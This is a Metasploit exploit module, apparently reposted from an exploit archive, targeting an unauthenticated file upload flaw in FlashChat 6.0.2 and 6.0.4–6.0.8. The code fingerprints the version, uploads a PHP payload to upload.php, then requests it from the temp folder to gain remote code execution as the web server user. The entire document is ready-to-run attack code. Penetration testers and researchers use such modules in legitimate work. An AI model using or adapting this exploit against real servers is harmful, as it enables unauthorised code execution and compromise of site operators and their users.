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FlashChat Arbitrary File Upload Vulnerability
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info={}) super(update_info(info, 'Name' => "FlashChat Arbitrary File Upload", 'Description' => %q{ This module exploits a file upload vulnerability found in FlashChat versions 6.0.2 and 6.0.4 to 6.0.8. Attackers can abuse the upload feature in order to upload malicious PHP files without authentication which results in arbitrary remote code execution as the web server user. }, 'License' => MSF_LICENSE, 'Author' => [ 'x-hayben21', # Discovery and PoC 'Brendan Coles <bcoles[at]gmail.com>' # Metasploit ], 'References' => [ ['EDB', '28709'] ], 'Payload' => { 'BadChars' => "\x00" }, 'Arch' => ARCH_PHP, 'Platform' => 'php', 'Targets' => [ # Tested on FlashChat version 6.0.8 [ 'Generic (PHP Payload)', {} ] ], 'Privileged' => false, 'DisclosureDate' => "Oct 04 2013", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The base path to FlashChat', '/chat/']) ], self.class) end # # Checks if target is running FlashChat versions 6.0.2, 6.0.4 to 6.0.8 # def check uri = normalize_uri(target_uri.path, '') res = send_request_raw({'uri' => uri}) if not res print_error("#{peer} - Connection timed out") return Exploit::CheckCode::Unknown end version = res.body.scan(/<title>FlashChat v([\d\.]+)/).flatten[0] || '' if version.empty? return Exploit::CheckCode::Unknown end print_status("#{peer} - Version found: #{version}") if version =~ /6\.0\.(2|4|5|6|7|8)/ return Exploit::CheckCode::Vulnerable elsif version <= "6.0.8" return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end # # Uploads our malicious file # Stolen from havalite_upload_exec.rb # def upload(base) fname = "#{rand_text_alphanumeric(rand(10)+6)}.php" php = "<?php #{payload.encoded} ?>" data = Rex::MIME::Message.new data.add_part(php, "application/octet-stream", nil, "form-data; name=\"file\"; filename=\"#{fname}\"") post_data = data.to_s.gsub(/^\r\n--_Part_/, '--_Part_') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(base, 'upload.php'), 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => post_data }) if not res fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading") elsif res.code.to_i == 404 fail_with(Failure::NotFound, "#{peer} - No upload.php found") elsif res.code.to_i == 500 fail_with(Failure::Unknown, "#{peer} - Unable to write #{fname}") end return fname end # # Executes our uploaded malicious file # Stolen from havalite_upload_exec.rb # def exec(base, payload_fname) res = send_request_raw({ 'uri' => normalize_uri(base, 'temp', payload_fname) }) if res and res.code == 404 fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}") end end def exploit base = target_uri.path # upload print_status("#{peer} - Uploading malicious file...") fname = upload(base) # register the file to clean register_files_for_cleanup(fname) # exec print_status("#{peer} - Executing #{fname}...") exec(base, fname) end end # 0day.today [2024-07-08] #